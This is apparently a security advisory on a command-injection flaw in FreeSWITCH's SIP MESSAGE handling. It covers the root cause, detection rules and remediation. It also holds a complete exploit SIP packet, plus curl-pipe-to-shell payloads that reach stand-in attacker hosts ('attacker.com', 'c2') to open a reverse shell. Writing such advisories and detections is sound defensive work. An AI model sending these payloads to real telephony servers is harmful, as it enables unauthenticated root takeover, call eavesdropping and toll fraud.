CVE-2026-116779: SignalWire FreeSWITCH SIP MESSAGE Protocol Handling Command Injection
A critical vulnerability (CVE-2026-116779) in SignalWire FreeSWITCH prior to version 1.11.3 enables unauthenticated remote attackers to execute arbitrary operating system commands on enterprise perimeter Session Border Controllers (SBC) and telephony gateways. FreeSWITCH serves as the carrier-grade switching backbone for cloud PBX platforms, contact centers, and VoIP routing fabrics worldwide. In mod_sofia's presence processing module (sofia_presence_handle_sip_i_message), incoming SIP MESSAGE packets are parsed by splitting the recipient user string on a '+' delimiter. If the prefix specifies 'api', the message body is routed unconditionally to the core FreeSWITCH API dispatcher (switch_api_execute()). Because default SIP profiles enable inbound chat handling and load the 'system' API module, sending a single UDP or TCP SIP datagram targeting 'sip:api+system@<host>' immediately triggers root or daemon shell command execution. CISA added CVE-2026-116779 to the Known Exploited Vulnerabilities (KEV) catalog on November 9, 2026. Hermes rates this threat at HTS 97 (EXTREME).
HERMES THREAT SCORE & PERIMETER TELEPHONY RESILIENCE EVALUATION
Target:SignalWire FreeSWITCH mod_sofia SIP Signaling & API Dispatch Engine CVSS v3.1 rates this flaw at 9.8 (Critical). Hermes assigns an extreme HTS score of 97. FreeSWITCH instances are deployed directly at the network edge on internet-facing IP addresses to terminate SIP signaling (ports 5060/5061). Telephony gateways are rarely protected by traditional web application firewalls (WAFs). Exploitation provides direct interactive root access to the voice VLAN, enabling eavesdropping on live calls, massive toll fraud routing, and initial access into enterprise private networks.
1. Executive Summary & Context
Section titled โ1. Executive Summary & ContextโSignalWire FreeSWITCH is an established open-source software-defined telecommunications platform, media server, and Session Border Controller (SBC) widely deployed by telecommunication carriers, enterprise call centers, and unified communications providers. It handles real-time voice, video, WebRTC, and SIP signaling across high-throughput networks.
Disclosed in November 2026, CVE-2026-116779 represents an unauthenticated remote code execution vulnerability in FreeSWITCHโs SIP endpoint module (mod_sofia). By sending a crafted SIP MESSAGE datagram, an attacker can exploit internal protocol routing logic to dispatch arbitrary operating system commands into the FreeSWITCH command execution subsystem. On November 9, 2026, the Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-116779 to the Known Exploited Vulnerabilities (KEV) catalog following widespread internet scanning and exploitation campaigns targeting perimeter voice infrastructure.
2. Root Cause Analysis & Technical Mechanics (CWE-77 / CWE-78)
Section titled โ2. Root Cause Analysis & Technical Mechanics (CWE-77 / CWE-78)โThe vulnerability exists in src/mod/endpoints/mod_sofia/sofia_presence.c inside the sofia_presence_handle_sip_i_message() function, which handles incoming SIP MESSAGE transactions.
Delimiter Splitting & API Protocol Routing
Section titled โDelimiter Splitting & API Protocol RoutingโWhen FreeSWITCH receives an incoming SIP MESSAGE request, mod_sofia parses the To: SIP URI header. The parsing routine splits the recipient username on the plus sign delimiter (+):
// Vulnerable logic in sofia_presence.c (prior to 1.11.3)char *proto = NULL;char *dest = NULL;
if ((dest = strchr(user, '+'))) { *dest++ = '\0'; proto = user; // Left-hand side treated as protocol selector}
if (proto && !strcasecmp(proto, "api")) { // Untrusted chat message body directly forwarded to API engine: switch_stream_handle_t stream = { 0 }; SWITCH_STANDARD_STREAM(stream); switch_api_execute(dest, body, NULL, &stream); switch_safe_free(stream.data);}This implementation contained critical design flaws:
- Unrestricted API Invocation: Specifying
apias the protocol prefix causesswitch_api_execute()to treatdestas the FreeSWITCH API command name (e.g.system) and the entire SIPMESSAGEbody as its command argument. - Missing Inbound Authentication: In default stock configurations (
vanillaprofile), SIP profiles likeinternalandexternalhave<param name="enable-chat" value="true"/>enabled out of the box, processing inbound SIP chat messages without demanding pre-authentication or verifying client IP reputation. - Enabled System API Module: The
systemAPI command (mod_syslog/ core engine) allows executing arbitrary OS binary commands under the privileges of the running FreeSWITCH daemon process (typicallyfreeswitchorroot).
3. Threat Architecture & Attack Vectors
Section titled โ3. Threat Architecture & Attack VectorsโsequenceDiagram autonumber actor Attacker as Remote Adversary participant Edge as Edge Firewall / NAT participant FreeSWITCH as FreeSWITCH SBC (mod_sofia) participant CoreAPI as switch_api_execute() participant OS as Host Operating System / Voice VLAN
Attacker->>Edge: Inbound SIP MESSAGE over UDP 5060<br/>To: sip:api+system@victim-sbc.com<br/>Body: /bin/bash -c "curl http://c2/bot.sh | sh" Edge->>FreeSWITCH: Forward packet to SIP listening port FreeSWITCH->>FreeSWITCH: sofia_presence_handle_sip_i_message()<br/>Splits 'api' + 'system' FreeSWITCH->>CoreAPI: switch_api_execute("system", body) CoreAPI->>OS: fork() & execvp("/bin/bash", ...) OS-->>Attacker: Reverse shell connection established Attacker->>OS: Dump /etc/freeswitch/directory/*.xml & SIP credentials Attacker->>FreeSWITCH: Inject unauthorized call bridge & toll fraud routesExploit Payload Structure
Section titled โExploit Payload StructureโAn adversary generates a minimal SIP datagram:
MESSAGE sip:api+system@target-sbc.com:5060 SIP/2.0Via: SIP/2.0/UDP 198.51.100.20:5060;branch=z9hG4bK-72819-1-0Max-Forwards: 70From: "Scanner" <sip:scanner@198.51.100.20>;tag=10293To: <sip:api+system@target-sbc.com>Call-ID: 8492039482019482@198.51.100.20CSeq: 1 MESSAGEContent-Type: text/plainContent-Length: 42
curl -s http://attacker.com/rev.sh | bashUpon receipt, the FreeSWITCH daemon executes the shell payload immediately without sending a 401 Unauthorized or 407 Proxy Authentication Required challenge.
4. Forensic Triage & Detection Engineering
Section titled โ4. Forensic Triage & Detection Engineeringโtitle: FreeSWITCH SIP MESSAGE Command Injection Attemptid: 8c1294ab-4710-4820-9118-204895821034status: experimentaldescription: Detects inbound SIP MESSAGE requests targeting the 'api+system' protocol handler or anomalous command execution spawned by FreeSWITCH.author: Hermes Codex Cyber Defense Teamdate: 2026-11-10references: - https://nvd.nist.gov/vuln/detail/CVE-2026-116779 - https://www.cisa.gov/known-exploited-vulnerabilities-cataloglogsource: category: network_traffic service: sipdetection: selection_sip: sip_method: 'MESSAGE' sip_to|contains: - 'api+system' - 'api+jsrun' - 'api+lua' - 'api+python' condition: selection_sipfields: - src_ip - dst_ip - sip_to - sip_call_idfalsepositives: - Authorized internal integration engines using legacy chat API routing over isolated management interfaces.level: criticaltags: - attack.initial_access - attack.t1190 - attack.execution - attack.t1059.004// Detect processes spawned by FreeSWITCH indicating remote command injectionProcessCreationEvents| where InitiatingProcessFileName =~ "freeswitch"| where FileName in~ ("bash", "sh", "dash", "curl", "wget", "nc", "python", "perl")| project TimeGenerated, Computer, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName| order by TimeGenerated descalert sip $EXTERNAL_NET any -> $HOME_NET 5060 (msg:"HERMES - SignalWire FreeSWITCH SIP MESSAGE API Command Injection (CVE-2026-116779)"; flow:to_server; content:"MESSAGE"; depth:7; content:"sip:api+"; nocase; distance:0; sid:202611677; rev:1; classtype:attempted-admin; priority:1;)5. Remediation & Hardening Strategy
Section titled โ5. Remediation & Hardening Strategyโ-
Upgrade FreeSWITCH to Version 1.11.3 or Later: Deploy the vendor patch which disables the chat API protocol handler by default and adds security validation to SIP MESSAGE dispatch routines.
Terminal window apt-get update && apt-get install --only-upgrade freeswitchsystemctl restart freeswitch -
Disable Inbound Chat on SIP Profiles: If patching cannot be executed immediately, disable chat processing across all Sofia SIP profiles:
<!-- In /etc/freeswitch/sip_profiles/internal.xml and external.xml --><param name="enable-chat" value="false"/><param name="enable-chat-api-proto" value="false"/> -
Disable System API Commands: Enforce defense-in-depth by disabling the OS
systemcommand execution capability inautoload_configs/switch.conf.xml:<param name="disable-system-api-commands" value="true"/> -
Network Perimeter Segmentation: Restrict SIP signaling port 5060 (UDP/TCP) to authorized SIP trunking carrier IP subnets using firewall access control lists (ACLs), preventing direct scanning from untrusted internet ranges.